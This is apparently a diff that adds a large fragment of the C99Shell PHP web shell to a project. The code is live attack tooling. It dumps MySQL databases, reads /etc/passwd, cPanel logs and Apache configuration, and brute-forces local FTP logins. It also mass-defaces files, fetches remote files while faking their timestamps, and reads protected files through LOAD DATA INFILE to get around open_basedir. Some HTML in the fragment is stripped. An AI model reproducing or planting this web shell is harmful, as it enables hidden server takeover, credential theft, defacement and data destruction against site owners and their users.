+ $world['write'] = ($mode & 00002) ? "w" : "-";
+ $world['execute'] = ($mode & 00001) ? "x" : "-";
+
+ if( $mode & 0x800 ) {$owner['execute'] = ($owner[execute]=="x") ? "s" : "S";}
+ if( $mode & 0x400 ) {$group['execute'] = ($group[execute]=="x") ? "s" : "S";}
+ if( $mode & 0x200 ) {$world['execute'] = ($world[execute]=="x") ? "t" : "T";}
+
+ return $type.$owner['read'].$owner['write'].$owner['execute'].
+ $group['read'].$group['write'].$group['execute'].
+ $world['read'].$world['write'].$world['execute'];
+}
+}
+if (!function_exists("strinstr")) {function strinstr($str,$text) {return $text != str_replace($str,"",$text);}}
+if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}}
+if (!function_exists("c99sh_getupdate"))
+{
+function c99sh_getupdate()
+{
+ global $updatenow;
+ $data = @file_get_contents($c99sh_updatefurl);
+ if (!$data) {echo "Can't fetch update-information!";}
+ else
+ {
+ $data = unserialize(base64_decode($data));
+ if (!is_array($data)) {echo "Corrupted update-information!";}
+ else
+ {
+ if ($shver < $data[cur]) {$updatenow = true;}
+ }
+ }
+}
+}
+if (!function_exists("mysql_dump"))
+{
+function mysql_dump($set)
+{
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = true;}
+ if (empty($add_drop)) {$add_drop = true;}
+ if (empty($file))
+ {
+ global $win;
+ if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
+ else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = true;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ global $SERVER_ADDR;
+ global $SERVER_NAME;
+ $out = "# Dumped by C99Shell.SQL v. ".$shver."
+# Home page: http://ccteam.ru
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"."
+# Date: ".date("d.m.Y H:i:s")."
+# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret[err][] = mysql_error();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row[1].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret[err][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $ret;
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $a;
+ if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
+ $handle = opendir($d);
+ while ($f = readdir($handle))
+ {
+ $true = ($a[name_regexp] and ereg($a[name],$f)) or ((!$a[name_regexp]) and strinstr($a[name],$f));
+ if($f != "." && $f != "..")
+ {
+ if (is_dir($d.$f))
+ {
+ if (empty($a[text]) and $true) {$found[] = $d.$f; $found_d++;}
+ c99fsearch($d.$f);
+ }
+ else
+ {
+ if ($true)
+ {
+ if (!empty($a[text]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a[text_wwo]) {$a[text] = " ".trim($a[text])." ";}
+ if (!$a[text_cs]) {$a[text] = strtolower($a[text]); $r = strtolower($r);}
+
+ if ($a[text_regexp]) {$true = ereg($a[text],$r);}
+ else {$true = strinstr($a[text],$r);}
+ if ($a[text_not])
+ {
+ if ($true) {$true = false;}
+ else {$true = true;}
+ }
+ if ($true) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($handle);
+}
+}
+//Sending headers
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", false);
+header("Pragma: no-cache");
+
+global $SERVER_SOFTWARE;
+if (strtolower(substr(PHP_OS, 0, 3)) == "win") {$win = 1;}
+else {$win = 0;}
+
+if (empty($tmpdir))
+{
+ if (!$win) {$tmpdir = "/tmp/";}
+ else {$tmpdir = $_ENV[SystemRoot];}
+}
+$tmpdir = str_replace("\\","/",$tmpdir);
+if (substr($tmpdir,strlen($tmpdir-1),strlen($tmpdir)) != "/") {$tmpdir .= "/";}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = true;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = false; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on")
+{
+ $openbasedir = true;
+ $hopenbasedir = "".$v." ";
+}
+else {$openbasedir = false; $hopenbasedir = "OFF (not secure) ";}
+
+$sort = htmlspecialchars($sort);
+
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",$SERVER_SOFTWARE);
+
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string","#DD0000"); //#DD0000
+
+if ($act != "img")
+{
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?> echo $HTTP_HOST; ?> - c99shell
+! C99Shell v. !
Software:
uname -a:
Safe-mode:
Directory: ";
+foreach($pd as $b)
+{
+ $t = "";
+ reset($e);
+ $j = 0;
+ foreach ($e as $r)
+ {
+ $t.= $r."/";
+ if ($j == $i) {break;}
+ $j++;
+ }
+ echo "".htmlspecialchars($b)."/ ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = true;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = false;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms(fileperms($d.$f))." ";
+}
+$free = diskfreespace($d);
+if (!$free) {$free = 0;}
+$all = disk_total_space($d);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = round(100/($all/$free),2);
+echo "Free ".view_size($free)." of ".view_size($all)." (".$used_percent."%) ";
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+$letters = "";
+if ($win)
+{
+ $abc = array("c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "o", "p", "q", "n", "r", "s", "t", "v", "u", "w", "x", "y", "z");
+ $v = explode("/",$d);
+ $v = $v[0];
+ foreach ($abc as $letter)
+ {
+ if (is_dir($letter.":/"))
+ {
+ if ($letter.":" != $v) {$letters .= "[ ".$letter." ] ";}
+ else {$letters .= "[ ".$letter." ] ";}
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters;}
+}
+?>
SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ if (!$sql_db) {$sqlquicklaunch[] = array("Query","#\" onclick=\"alert('Please, select DB!')");}
+ else {$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query");}
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
+"; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home Databases (...)
+";
+ $c = 0;
+ while ($row = mysql_fetch_row($result)) {echo "".$row[0]."
+"; $c++;}
+ }
+ ?> Please, select database";
+ //Start center panel
+ if ($sql_db)
+ {
+ echo "There are ".$c." tables in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+
+ $acts = array("","dump");
+
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if ($submit)
+ {
+ if ((!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo ""; if (($sql_query) and (!$submit)) {echo "Do you really want to :";} else {echo "SQL-Query :";} echo " ".htmlspecialchars($sql_query)." ";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtpl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_error();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "print";
+ if ($dump_out == "print") {$set["print"] = 1; $set["nl2br"] = 1;}
+ elseif ($dump_out == "download")
+ {
+ @ob_clean();
+ header("Content-type: c99shell");
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ $set["print"] = 1;
+ $set["nl2br"] = 1;
+ }
+ $set["file"] = $dump_file;
+ $set["add_drop"] = true;
+ $ret = mysql_dump($set);
+ if ($dump_out == "download") {exit;}
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock) or print(mysql_error());
+ echo "
+With selected:
+Drop
+Empty
+Check table
+Optimize table
+Repair table
+Analyze table
+ ";
+ mysql_free_result($result);
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstat","servervars","processes","getfile");
+ if (in_array($sql_act,$acts))
+ {
+ ?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_error();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = 'KILL ' . $kill . ';'; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ elseif (($sql_act == "getfile"))
+ {
+ if (!mysql_create_db("tmp_bd")) {echo mysql_error();}
+ elseif (!mysql_select_db("tmp_bd")) {echo mysql_error();}
+ elseif (!mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );')) {echo mysql_error();}
+ else {mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query); if (!$result) {echo "Error in query \"".$query."\": ".mysql_error();}
+ else
+ {
+ for ($i=0;$i$col_value) {$f .= $col_value;}}
+ if (empty($f)) {echo "File \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f));}
+ }
+ mysql_free_result($result);
+ if (!mysql_drop_db("tmp_bd")) {echo ("Can't drop tempory DB \"tmp_bd\"!");}
+ }
+ }
+ }
+ }
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d) {if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";} elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}}
+ echo " ";
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "Ftp Quick brute: ";
+ if ($win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh)
+ {
+ if (!in_array($sh,array("/bin/bash","/bin/sh","/usr/local/cpanel/bin/jailshell"))) {$true = false;}
+ else {$true = true;}
+ }
+ else {$true = true;}
+ if ($true)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return true;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ $success++;
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ }
+ }
+ else {echo " Read first: Users only with shell? ";}
+ }
+}
+if ($act == "lsa")
+{
+ echo "Server security information: ";
+ echo "Software: ".PHP_OS.", ".$SERVER_SOFTWARE." ";
+ echo "Safe-Mode: ".$hsafemode." ";
+ echo "Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ $num = $nixpasswd + $nixpwdperpage;
+ echo "*nix /etc/passwd: ";
+ $i = $nixpasswd;
+ while ($i < $num)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid) {echo join(":",$uid)." ";}
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+. ";}
+ }
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else
+ {
+ echo "File-System buffer ";
+ $ls_arr = $arr;
+ $disp_fullpath = true;
+ $act = "ls";
+ }
+}
+if ($act == "selfremove")
+{
+ if (!empty($submit))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ $v = array();
+ for($i=0;$i<8;$i++) {$v[] = "NO ";}
+ $v[] = "YES ";
+ shuffle($v);
+ $v = join(" ",$v);
+ echo "Self-remove: ".__FILE__." Are you sure? ".$v." ";
+ }
+}
+if ($act == "massdeface")
+{
+ if (empty($deface_in)) {$deface_in = $d;}
+ if (empty($deface_name)) {$deface_name = "(.*)"; $deface_name_regexp = 1;}
+ if (empty($deface_text_wwo)) {$deface_text_regexp = 0;}
+
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+
+ $text = $deface_text;
+ $text_regexp = $deface_text_regexp;
+ if (empty($text)) {$text = " "; $text_regexp = 1;}
+
+ $a = array
+ (
+ "name"=>$deface_name, "name_regexp"=>$deface_name_regexp,
+ "text"=>$text, "text_regexp"=>$text_regxp,
+ "text_wwo"=>$deface_text_wwo,
+ "text_cs"=>$deface_text_cs,
+ "text_not"=>$deface_text_not
+ );
+ $defacetime = getmicrotime();
+ $in = array_unique(explode(";",$deface_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $defacetime = round(getmicrotime()-$defacetime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = true;
+ $act = $dspact = "ls";
+ }
+ }
+ else
+ {
+ if (empty($deface_preview)) {$deface_preview = 1;}
+ if (empty($deface_html)) {$deface_html = "
Mass-defaced with c99shell v. ".$shver.", coded by tristram[CCTeaM ].";}
+ }
+ echo "";
+ if (!$submit) {echo "Attention! It's a very dangerous feature, you may lost your data. ";}
+ echo "
+Deface for (file/directory name): - regexp
+Deface in (explode \";\"):
+Search text: ".htmlspecialchars($deface_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ - PREVIEW AFFECTED FILES
+Html of deface: ".htmlspecialchars($deface_html)."
+ ";
+ if ($act == "ls") {echo "Deface took ".$defacetime." secs ";}
+}
+if ($act == "search")
+{
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v)
+ {
+ c99fsearch($v);
+ }
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = true;
+ $act = $dspact = "ls";
+ }
+ }
+ echo "
+
+Search for (file/directory name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {echo "Search took ".$searchtime." secs ";}
+}
+if ($act == "chmod")
+{
+ $perms = fileperms($d.$f);
+ if (!$perms) {echo "Can't get current mode.";}
+ elseif ($submit)
+ {
+ if (!isset($owner[0])) {$owner[0] = 0;}
+ if (!isset($owner[1])) {$owner[1] = 0; }
+ if (!isset($owner[2])) {$owner[2] = 0;}
+ if (!isset($group[0])) {$group[0] = 0;}
+ if (!isset($group[1])) {$group[1] = 0;}
+ if (!isset($group[2])) {$group[2] = 0;}
+ if (!isset($world[0])) {$world[0] = 0;}
+ if (!isset($world[1])) {$world[1] = 0;}
+ if (!isset($world[2])) {$world[2] = 0;}
+ $sum_owner = $owner[0] + $owner[1] + $owner[2];
+ $sum_group = $group[0] + $group[1] + $group[2];
+ $sum_world = $world[0] + $world[1] + $world[2];
+ $sum_chmod = "0".$sum_owner.$sum_group.$sum_world;
+ $ret = @chmod($d.$f, $sum_chmod);
+ if ($ret) {$act = "ls";}
+ else {echo "Changing file-mode (".$d.$f.") : error ";}
+ }
+ else
+ {
+ echo "Changing file-mode ";
+ $perms = view_perms(fileperms($d.$f));
+ $length = strlen($perms);
+ $owner_r = $owner_w = $owner_x =
+ $group_r = $group_w = $group_x =
+ $world_r = $world_w = $group_x = "";
+
+ if ($perms[1] == "r") {$owner_r = " checked";} if ($perms[2] == "w") {$owner_w = " checked";}
+ if ($perms[3] == "x") {$owner_x = " checked";} if ($perms[4] == "r") {$group_r = " checked";}
+ if ($perms[5] == "w") {$group_w = " checked";} if ($perms[6] == "x") {$group_x = " checked";}
+ if ($perms[7] == "r") {$world_r = " checked";} if ($perms[8] == "w") {$world_w = " checked";}
+ if ($perms[9] == "x") {$world_x = " checked";}
+ echo "
+
+
+ ";
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\","/",$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,strlen($uploadpath)-1,1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile[tmp_name]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile[name];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile[name]." (can't copy \"".$uploadfile[tmp_name]."\" to \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = false;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ }
+ $act = "ls";
+}
+if ($act == "deface")
+{
+ $deferr = "";
+ foreach ($actbox as $v)
+ {
+ $data = $deface_html;
+ if (eregi("%%%filedata%%%",$data)) {$data = str_replace("%%%filedata%%%",file_get_contents($v),$data);}
+ $data = str_replace("%%%filename%%%",basename($v),$data);
+ $data = str_replace("%%%filepath%%%",$v,$data);
+ $fp = @fopen($v,"w");
+ fwrite($fp,$data);
+ fclose($fp);
+ if (!$result) {$deferr .= "Can't deface ".htmlspecialchars($v)." ";}
+ if (!empty($delerr)) {echo "Defacing with errors: ".$deferr;}
+ }
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"USEFSBUFF\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ if ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ if ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} $ls_arr = array_merge($sess_data["copy"],$sess_data["cut"]); c99_sess_put($sess_data); $act = "ls";}
+
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
